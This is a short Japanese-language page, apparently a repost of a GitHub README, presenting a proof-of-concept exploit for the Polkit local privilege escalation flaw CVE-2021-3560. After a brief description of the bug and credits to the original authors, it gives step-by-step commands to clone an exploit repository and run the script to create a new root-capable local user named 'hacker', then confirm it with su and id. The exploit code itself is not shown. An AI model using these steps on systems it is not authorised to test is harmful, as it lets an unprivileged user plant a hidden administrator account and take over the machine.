CVE-2021-3560 - Polkit ローカル権限昇格

---

⚠️ 教育および許可されたセキュリティ研究目的のみ

オリジナルのエクスプロイト作者

オリジナルのPoC作者 @UNICORDev に大変感謝します (@NicPWNs と @Dev-Yeoj)

説明

polkit が D-Bus リクエストの認証情報チェックをバイパスするよう騙される可能性があり、リクエスト元の権限を root ユーザーに昇格させることが判明しました。この欠陥は、特権のないローカル攻撃者によって、例えば新しいローカル管理者を作成するために悪用される可能性があります。この脆弱性の最大の脅威は、データの機密性と整合性、およびシステムの可用性です。

デモ

---

手順ガイド

1. git をインストールし、GitHub リポジトリからスクリプトをクローンします:

   root@kitploit:~

   sudo apt install git python3 -y
   git clone https://github.com/asepsaepdin/CVE-2021-3560.git
   

2. 以下のコマンドを使用して PoC スクリプトを実行します:

   root@kitploit:~

   python3 exploit-CVE-2021-3560.py -u hacker -p password
   

   注意: -u オプションで目的のユーザー名、-p オプションで目的のパスワードを指定します

3. 以下のコマンドで作成されたユーザーを確認します:

   root@kitploit:~

   su hacker
   id
   

---

クレジット

• https://nvd.nist.gov/vuln/detail/CVE-2021-3560
• https://app.hackthebox.com/machines/Paper
• https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
• https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py